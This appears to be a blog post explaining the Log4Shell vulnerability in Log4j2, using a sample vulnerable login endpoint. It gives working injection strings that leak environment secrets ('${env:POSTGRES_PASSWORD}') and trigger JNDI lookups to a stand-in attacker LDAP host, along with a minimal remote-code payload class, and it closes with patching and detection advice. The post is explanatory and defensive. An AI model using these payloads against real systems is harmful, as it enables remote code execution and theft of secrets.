😱 Notes from exploiting the Log4Shell vulnerability

Writing system logs is one of those rudimentary operations to which nobody really gives half a thought anymore - for example, if you use Java with Lombok it is as easy as putting a @Slf4j annotation on top of your class to have fully functional logger available from any of the class' methods. Implementation details of how and where exactly log content is written are conveniently hidden under few layers of abstraction. One of the most popular ones is Log4J2 in which a critical vulnerability has been found last week and it is as serious as it gets: it allows for dreaded RCE (Remote Code Execution) on attacker's demand. Of course, for this to happen there needs to be a perfect storm of several factors, although given ubiquity of Log4j2 library there may be millions of vulnerable systems running around the world - and some of them may not be patched for years to come.

It's somewhat mind-blowing to think that writing a human readable piece of information produced by a server can make it vulnerable to a hostile take over, so let's go through a hypothetical exploit step by step.

Vulnerable service

Let's say that we have an authentication micro service which takes username and password as a JSON from the external system over POST endpoint and tries to authenticate user with given credentials. Its example JSON request body looks like this:

{
  "username":"admin",
  "password":"bGAr0xaGHzRH0C0KJwkhJzvd5K6p5OsM"
}

We want to know if there are any login attacks on our endpoint, so we put a log statement for failed login attempts so it can be audited later:

// Example Code of a Login REST Controller
    ...

    @PostMapping(
            path = "/login/",
            consumes = MediaType.APPLICATION_JSON_VALUE
    )
    void postLogin(@RequestBody LoginDTO payload) {

        try {
            loginService.login(payload.username, payload.password);        
        } catch (InvalidCredentialsException ex) {
           ⚠️log.info("Invalid password for username " + payload.username);
        }
        ...
    }
    ...

What makes this code vulnerable is logging a value exactly as it was provided in the request body. Now you may wonder what's wrong with this, since it's just writing stuff to the file, or printing it out to the screen. Everyone knows not to use unsanitized input in the database queries, but logs - it's exactly what they are supposed to do - to print or store data for auditing and debugging, including potentially malicious input so the attacker can be caught in the act. Unfortunately, one of the conveniences offered by Log4j2 is enabled by default - and this is doing so called "lookups" on data being passed to the Log4j2 API.

Log4j2 lookups

Normally, when writing system logs we want the actual logged string to be decorated with additional information, for example time and date when it happened, how serious was the event associated with the message (its log level) or which thread was executing operations of interest. Log4j2 handles that with so called lookups - a set of substitution rules which allow filling in log statements with additional information taken from variety of sources. For example, %t would be replaced with current time and ${env:USER} would be filled in with a content of environmental variable USER (normally username of a system user which runs the micro service). Things are already getting interesting since environmental variables are often used to pass secret data into initialization of containers running in Kubernetes. For example, if password to the database was passed as POSTGRES_PASSWORD environment variable we can make the service leak this secret into the logs simply by sending following payload:

{
  "username":"${env:POSTGRES_PASSWORD}",
  "password":""
}

Log4j will evaluate the ${env:POSTGRES_PASSWORD} into the content of the POSTGRES_PASSWORD environmental variable and happily log the result:

2021-12-12 19:13:53.912  INFO 23786 --- [nio-8080-exec-5] i.a.v.LoginController : Invalid password for username <<YourSecretDatabasePassword>>

JNDI

One of the sources for lookups is JNDI, which stands for "Java Naming and Directory Interface". It's an abstraction over variety of sources which relate names to objects. You can think of it as a contact list in your phone where some of contacts are on WhatsApp and some are on Signal. If there was something like JNDI for contacts in your phone you could chat with all your friends from all the communicators using a single UI.

So how can we make Log4j2 to look something up from JNDI directory? We could use the ${...} notation that we saw earlier with the environmental variable example. Let's try sending following request to a vulnerable service:

{
  "username":"${jndi:ldap://google.com/a}",
  "password":""
}

What happens? A timeout! Vulnerable service does not respond immediately, because it's trying to connect to ldap://google.com/a and since google does not run an LDAP directory under that address connection attempt will fail.

In the vulnerable service's logs there will be something like:

2021-12-13 08:23:13,080 http-nio-8080-exec-7 WARN Error looking up JNDI resource [ldap://google.com/a]. 
javax.naming.CommunicationException: google.com:389 [Root exception is java.net.ConnectException: Connection timed out]
    at java.naming/com.sun.jndi.ldap.Connection.<init>(Connection.java:253)
    at java.naming/com.sun.jndi.ldap.LdapClient.<init>(LdapClient.java:137)
    at java.naming/com.sun.jndi.ldap.LdapClient.getInstance(LdapClient.java:1616)
    at java.naming/com.sun.jndi.ldap.LdapCtx.connect(LdapCtx.java:2848)
    at java.naming/com.sun.jndi.ldap.LdapCtx.<init>(LdapCtx.java:348)

There are two lessons learnt here:

• A long response times to input containing JNDI reference are telltale of a vulnerable system
• JNDI resource lookup errors in your system logs indicate a Log4j2 attack attempt

Remote Code Execution

So far we are at the point where Log4j2 makes an external call to a JNDI registry. It's definitely something that logging framework shouldn't do by default, although we are still far from executing arbitrary code on the vulnerable server. For this to happen, an attacker needs to set up their own LDAP registry which will respond with a location (or byte code) of a malicious payload:

Log4j2, when logging a sub-string like ${jndi:ldap://evil.ldap/a}, will try to use JndiLookup class to instantiate object bound to JNDI name "evil.ldap/a". From ldap: part of the URL it will know that it needs to use LdapCtx class in order to fetch the reference. And when it does, it will use the DirectoryManager.class to instantiate the object. Object instantiation is handled by the NamingManager class, which uses set of helpers for loading classes from various sources. Since our malicious LDAP registry returned an http URL as a location of a JDNI resource, it will use URLClassLoader class to fetch and instantiate the object containing malicious code, something like this:

public class Payload implements javax.naming.spi.ObjectFactory {

    static {
        System.out.println("Hello RCE!");
    }

    public Object getObjectInstance(Object obj, 
                                    Name name, 
                                    Context nameCtx, 
                                    Hashtable<?, ?> environment) throws Exception {
        return new Payload();
    }
}

Actually, it can be even simpler - only required part is a static initialization block which will run as soon as Java class loader instantiates this object. Implementation of ObjectFactory interface will prevent cast exceptions thrown during object instantiation.

Takeaways

• This Log4j2 vulnerability is extremely dangerous and fairly easy to exploit
• Malicious input can be provided with any kind of protocol including REST, WebSocket, GraphQL or gRPC
• It's ubiquitous due to Log4j2 being logging back end of choice for many open source projects, including Apache Kafka and Elastic Search, it can also be used by Spring Boot applications. It will also show up as a transitive dependency for many libraries that's why it's difficult to tell if your service actually uses it for logging. Best strategy here is to kill it with fire by forcing the version override to the newest available Log4j2 version in your build automation tool manifest (at the moment of writing this post latest version is 2.15 which was released last Friday).
• Updating Java to the newest version would mitigate the LDAP vector, but since JNDI works with variety of protocols there may be more undisclosed exploits which use those alternatives.
• Your service is secure if its outgoing traffic is forbidden or restricted - for example, by enabling default "deny all" egress network policy in Kubernetes
• While working on the update, regularly scan the application logs for strings like "jndi" or "${jndi:" - they are a smoking gun indicating that someone was trying to deploy this attack agains your services.